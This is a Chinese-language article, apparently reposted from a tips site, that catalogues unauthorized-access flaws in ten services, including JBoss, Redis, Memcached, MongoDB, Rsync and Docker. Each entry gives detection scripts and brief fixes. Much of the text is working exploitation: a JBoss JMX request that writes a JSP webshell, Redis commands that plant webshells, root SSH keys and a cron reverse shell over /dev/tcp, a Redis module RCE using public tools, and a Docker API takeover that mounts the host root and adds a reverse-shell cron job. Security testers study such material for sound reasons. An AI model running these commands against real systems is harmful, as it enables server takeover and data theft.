1. 程式人生 > 實用技巧 >常見未授權訪問漏洞總結

常見未授權訪問漏洞總結

本文詳細地介紹了常見未授權訪問漏洞及其利用,具體漏洞列表如下:

  • Jboss 未授權訪問

  • Jenkins 未授權訪問

  • ldap未授權訪問

  • Redis未授權訪問

  • elasticsearch未授權訪問

  • MenCache未授權訪問

  • Mongodb未授權訪問

  • Rsync未授權訪問

  • Zookeeper未授權訪問

  • Docker未授權訪問


1、Jboss未授權訪問

漏洞原因:

在低版本中,預設可以訪問Jboss web控制檯(http://127.0.0.1:8080/jmx-console),無需使用者名稱和密碼。

漏洞利用:

1、寫入一句話木馬:

http://127.0.0.1:8080/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

2、寫入1.txt檔案

http://127.0.0.1:8080/August/shell.jsp?f=1.txt&t=hello world!

3、訪問1.txt檔案

http://127.0.0.1:8080/August/1.txt

檢測工具:jexboss,一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測並利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,並且可以獲得一個shell。

修復建議:關閉jmx-console和web-console,提高安全性。

2、Jenkins 未授權訪問

漏洞原因:未設定密碼,導致未授權訪問。

漏洞測試:直接通過url訪問

http://<target>:8080/manage
http://<target>:8080/script

修復建議:設定強口令密碼。

3、ldap未授權訪問

漏洞原因:沒有對Ldap進行密碼驗證,導致未授權訪問。

檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

from ldap3 import Connection,Server,ALL
def ldap_anonymous(ip):
    try:
        server = Server(ip,get_info=ALL,connect_timeout=1)
        conn = Connection(server, auto_bind=True)
        print "[+] ldap login for anonymous"
        conn.closed
    except:
        #pass
        print '[-] checking for ldap anonymous fail'

利用工具:使用LdapBrowser直接連入,獲取敏感資訊。

修復建議:增加強密碼驗證。

4、Redis未授權訪問

漏洞利用:

姿勢一:絕對路徑寫webshell

我們可以將dir設定為一個目錄a,而dbfilename為檔名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意檔案:

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save

姿勢二:公私鑰認證獲取root許可權

1、ssh免密碼配置

ssh-keygen -t rsa -P ''     #生成公鑰/私鑰對                           
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt  #將公鑰寫入 foo.txt 檔案
連線 Redis 寫入檔案

2、連線Redis寫入檔案

cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit
./redis-cli -h 192.168.125.140
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save

利用私鑰成功登入redis伺服器

姿勢三:利用contrab計劃任務反彈shell

config set dir /var/spool/cron/crontabs/
config set dbfilename root
flushall
set test "* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211:1234 0>&1"
save

姿勢四:主從複製RCE

在Reids 4.x之後,Redis新增了模組功能,通過外部拓展,可以實現在Redis中實現一個新的Redis命令,通過寫C語言編譯並載入惡意的.so檔案,達到程式碼執行的目的。

通過指令碼實現一鍵自動化getshell:

1、生成惡意.so檔案,下載RedisModules-ExecuteCommand使用make編譯即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make

2、攻擊端執行:python redis-rce.py -r 目標ip-p 目標埠 -L 本地ip -f 惡意.so

git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt 
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

5、Elasticsearch未授權訪問

漏洞原因:Elasticsearch 預設埠為9200 ,攻擊者可以直接訪問http://ip:port。

檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
def Elasticsearch_check(ip, port=9200, timeout=5):
    try:
      url = "http://"+ip+":"+str(port)+"/_cat"
      response = requests.get(url) 
    except:
      pass
    if "/_cat/master" in response.content:
      print '[+] Elasticsearch Unauthorized: ' +ip+':'+str(port)

漏洞測試:

http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 檢視資料庫敏感資訊
http://localhost:9200/_nodes 檢視節點資料

如有安裝head外掛:
http://localhost:9200/_plugin/head/ web管理介面

修復建議:

1、限制IP訪問,繫結固定IP

2、在config/elasticsearch.yml中為9200埠設定認證:

http.basic.enabled true #開關,開啟會接管全部HTTP連線  http.basic.user "admin" #賬號  http.basic.password "admin_pw" #密碼  http.basic.ipwhitelist ["localhost", "127.0.0.1"]

6、MenCache未授權訪問

漏洞原因:Memcached 分散式快取系統,預設的 11211 埠不需要密碼即可訪問,黑客直接訪問即可獲取資料庫中所有資訊,造成嚴重的資訊洩露。

檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
def Memcache_check(ip, port=11211, timeout=5):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        pass

漏洞驗證:

#無需使用者名稱密碼,可以直接連線memcache 服務的11211埠。
telnet x.x.x.x  11211

stats  //檢視memcache 服務狀態
stats items  //檢視所有items
stats cachedump 32 0  //獲得快取key
get :state:264861539228401373:261588   //通過key讀取相應value ,獲得實際快取內容,造成敏感資訊洩露

修復建議:繫結的ip地址為 127.0.0.1,或者通過firewall限制訪問。

7、Mongodb未授權訪問

漏洞原因:MongoDB 預設是沒有許可權驗證的,登入的使用者可以通過預設埠無需密碼對資料庫任意操作(增刪改高危動作),而且可以遠端訪問資料庫。

檢測指令碼:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

def mongodb(ip,port):    
    try:
        client = MongoClient(ip,port)
        db=client.local
        flag = db.collection_names()
        if flag:    
            print "[+] Mongodb login for anonymous"
    except Exception, e:
        pass

修復建議:增加使用者密碼許可權驗證,設定本地監聽或者訪問控制。

8、Rsync未授權訪問

漏洞原因:未配置賬號密碼認證,導致未授權訪問。

漏洞測試:

列舉整個同步目錄或指定目錄:
rsync 10.0.0.12 ::
rsync 10.0.0.12 :: www /

下載檔案或目錄到本地:
rsync – avz 10.0.0.12 :: WWW/  /var/tmp
rsync – avz 10.0.0.12 :: www/  /var/tmp

上傳本地檔案到服務端:
rsync -avz webshell 10.0.0.12 :: WWW /

修復建議:增加使用者密碼認證,設定訪問ip限制。

9、Zookeeper未授權訪問

漏洞原因:ZooKeeper預設開啟在2181埠,在未進行任何訪問控制情況下,攻擊者可通過執行envi命令獲得系統大量的敏感資訊,包括系統名稱、Java環境。

漏洞測試:

echo envi|nc 192.168.15.74 2181

修復建議:新增使用者名稱密碼認證,設定ip訪問控制。

10、Docker未授權訪問

漏洞原因:docker remote api可以執行docker命令,docker守護程序監聽在0.0.0.0,可直接呼叫API來操作docker。

sudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

漏洞利用:

通過docker daemon api 執行docker命令。

#列出容器資訊,效果與docker ps一致。
curl http://<target>:2375/containers/json

#啟動容器
docker -H tcp://<target>:2375 ps -a

1、新執行一個容器,掛載點設定為伺服器的根目錄掛載至/mnt目錄下。

sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash

2、在容器內執行命令,將反彈shell的指令碼寫入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

3、本地監聽埠,獲取對方宿主機shell。